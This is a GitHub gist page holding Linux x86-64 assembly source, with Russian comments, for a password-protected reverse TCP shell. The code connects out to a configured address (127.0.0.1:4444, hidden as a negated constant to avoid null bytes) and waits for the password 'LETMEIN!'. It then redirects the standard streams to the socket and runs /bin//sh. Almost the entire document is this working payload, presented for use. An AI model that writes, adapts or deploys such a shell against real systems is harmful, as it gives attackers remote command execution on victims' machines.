Skip to content

Instantly share code, notes, and snippets.

@stychos
Forked from alanvivona/reverse-tcp-auth-shell.nasm
Last active March 14, 2019 18:19
Show Gist options
  • Save stychos/52a8bc22e46ba534fd611ba033887244 to your computer and use it in GitHub Desktop.
Save stychos/52a8bc22e46ba534fd611ba033887244 to your computer and use it in GitHub Desktop.
; =================================================
; Защищённый реверсивный TCP шелл для Linux x64
; Author: Alan Vivona
; =================================================
global _start
; Номера системных вызовов
syscalls.socket equ 0x29
syscalls.bind equ 0x31
syscalls.listen equ 0x32
syscalls.connect equ 0x2a
syscalls.accept equ 0x2b
syscalls.close equ 0x03
syscalls.dup2 equ 0x21
syscalls.write equ 0x01
syscalls.read equ 0x00
syscalls.execve equ 0x3b
; Определения констант
ipv4 equ 0x02 ; AF_INET
ipv4.addressLen equ 0x10
tcp equ 0x01 ; SOCK_STREAM
; Стандартные потоки
standardIO.in equ 0x00
standardIO.out equ 0x01
standardIO.err equ 0x02
;:> echo -n '//bin/sh' | rev | xxd
;: 00000000: 6873 2f6e 6962 2f2f hs/nib//
binshString equ 0x68732f6e69622f2f
; Конфигурация
config.max_cons equ 0x2
config.password equ 0x4d54454c214e4945 ; MTEL!NIE > LETMEIN!
config.target equ 0x100007f5c110002 ; tcp://127.0.0.1:4444
; Это содержит нулевые байты, так что я заменил антиподом
config.target.complement equ 0xfeffff80a3eefffe ; neg(tcp://127.0.0.1:4444)
section .text
_start:
; 1 - Создаём сокет
push syscalls.socket
pop rax
cdq
push ipv4
pop rdi
push tcp
pop rsi
syscall
mov r15, rax ; сохраняем fd сокета в r15
; 2 - Соединяемся с целевой машиной
xchg rax, rdi
mov rcx, config.target.complement
neg rcx
push rcx
mov rsi, rsp
push ipv4.addressLen
pop rdx
push syscalls.connect
pop rax
syscall
; 3 - Читаем пароль из клиентского fd
read_pass:
xor rax, rax ; номер системного вызова read == 0x00
mov rdi, r15 ; rdi = fd
push 0x04
pop rdx ; rdx = размер вводимых данных
sub rsp, rdx
mov rsi, rsp ; rsi => buffer
syscall
; Проевряем пароль
mov rax, config.password
mov rdi, rsi
scasq
jne read_pass
; 4 - Дублируем стандартные потоки
mov rdi, r15 ; Восстанавливаем fd сокета в rdi
push 0x02
pop rsi
loop_through_stdfs:
push syscalls.dup2
pop rax
syscall
dec rsi
jns loop_through_stdfs
; 5 - Запускаем
xor rdx, rdx
push rdx ; пушим нулевой байт первым
mov rbx, binshString ; пушим реверсивное /bin//sh
push rbx ; сохраняем адрес строки /bin//sh в rdi
mov rdi, rsp
push rdx ; пушим второй нулевой байт
mov rdx, rsp
push rdi ; сохраняем адрес строки /bin//sh в rsi
mov rsi, rsp
push syscalls.execve
pop rax
syscall
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment